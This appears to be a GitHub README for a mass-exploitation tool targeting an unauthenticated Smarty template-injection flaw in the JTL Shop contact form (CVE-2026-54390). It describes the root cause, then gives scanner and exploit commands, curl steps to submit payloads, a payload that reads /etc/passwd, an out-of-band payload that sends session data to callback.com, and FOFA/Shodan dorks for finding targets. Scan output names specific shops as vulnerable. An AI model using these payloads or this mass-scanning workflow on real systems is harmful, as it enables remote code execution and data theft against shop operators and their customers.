CVE-2026-54390 — JTL Shop Smarty SSTI Mass Exploit

Pre-Auth Contact Form → Email Subject → fetch('string:') → RCE

Overview

CVE-2026-54390 is a critical (CVSS 9.8) unauthenticated Server-Side Template Injection in JTL Shop 5.2.0–5.7.1.

The SmartyRenderer::renderTemplate() method passes email subject lines to $smarty->fetch('string:' . $subject) — rendering them as Smarty templates. User contact form fields reach the email subject via #var# resolution in parseSubject(), then get re-evaluated by fetch().

Text::filterXSS() only strips HTML tags — { and } pass through. Registered Smarty modifiers include file_get_contents and unserialize.

Affected Versions

JTL Shop	Status
< 5.2.0	Not affected
5.2.0 – 5.3.x	Vulnerable (credential theft)
5.4.0 – 5.7.1	Vulnerable (full RCE)
5.5.4 / 5.6.2 / 5.7.2+	Patched

Vulnerability Mechanism

Root Cause

// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Email subject rendered as Smarty template

Attack Flow

1. User fills contact form → name/email/message → filterXSS()
2. filterXSS only strips HTML — {system()} passes through
3. Email subject template: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolves #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES
6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..."

Registered Smarty Modifiers

// PluginCollection.php — available for RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

Installation

git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

Usage

# Single target
python cve_2026_54390.py -t target.com

# Mass scan
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# SSTI probe via contact form
python cve_2026_54390.py -t target.com --exploit --debug

Arguments

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets
  --threads         Workers (default: 20)
  --exploit         Submit SSTI probe via contact form
  --debug           Show every HTTP request
  -v, --verbose     Detailed output

Proof of Concept

Detection

$ python cve_2026_54390.py -t jtl-shop.de --debug

  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

Mass Scan

  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

Manual Exploitation

Step 1 — Find contact form + token

curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

Step 2 — Submit SSTI probe

curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

Step 3 — Read files

{{"/etc/passwd"|file_get_contents}}

Step 4 — OOB exfil

{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY. The authors assume no liability for misuse.

References

_{Not affiliated with JTL-Software or Sansec.}

Sansec Research	sansec.io/research/jtl-shop-ssti-rce
IONIX Advisory	ionix.io/threat-center/cve-2026-54390
JTL Forum	forum.jtl-software.de
NVD	CVE-2026-54390

CVE-2026-54390

Most Popular